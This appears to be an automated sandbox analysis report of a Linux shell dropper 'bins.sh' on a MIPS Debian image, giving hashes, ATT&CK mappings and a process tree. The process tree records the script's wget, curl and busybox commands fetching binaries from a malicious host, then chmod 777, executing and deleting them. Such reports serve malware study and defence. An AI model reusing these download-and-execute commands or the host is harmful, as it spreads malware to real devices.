35138d9bc695c53235e8a5f14cd4299988f55b929d4fa75760f3073ad48c3b3a

Analysis

max time kernel
136s
max time network
144s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 15:44

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General

Target

bins.sh
Size

10KB
MD5

65cad9f0d2b2575d13f13cebeddada18
SHA1

b54f8084216e8463415b553d62a25b6613db5e78
SHA256

35138d9bc695c53235e8a5f14cd4299988f55b929d4fa75760f3073ad48c3b3a
SHA512

b09b957f03208773177ff853f06b287487867e6d94fbaf6d9b5fb9bc5b0be34170005107dceb696717bdb392dd7b4b595931e13081554e5202b114651fc5942a
SSDEEP

96:Yn7BO+F7L4AL48L4/4q4K4mU7X41VvMWMGMGrPmO+d9D0CDkmD0lTf5LddJMQZL7:af9V6XrzN9xbX+8X9xEV9V6XrJ

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

816 chmod
Executes dropped EXE 1 IoCs

Processes:

QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

ioc pid process

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w 817 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetwgetcurlbusybox

pid process

820 wget
712 wget
813 curl
815 busybox

pid	process
816	chmod

ioc	pid	process
/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	817	QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
820	wget
712	wget
813	curl
815	busybox

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	wget
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	curl
File opened for modification	/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /bin/chmod
  chmod 777 QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  ./QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w
  2⤵
  PID:819
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BA4Z1mgOrxpgylYbggzkkyi0JScNK16X4G
  2⤵
  - System Network Configuration Discovery
  PID:820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/QHFiElWhdi7rsA8mWssX6rDOdyi2D1zc0w

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

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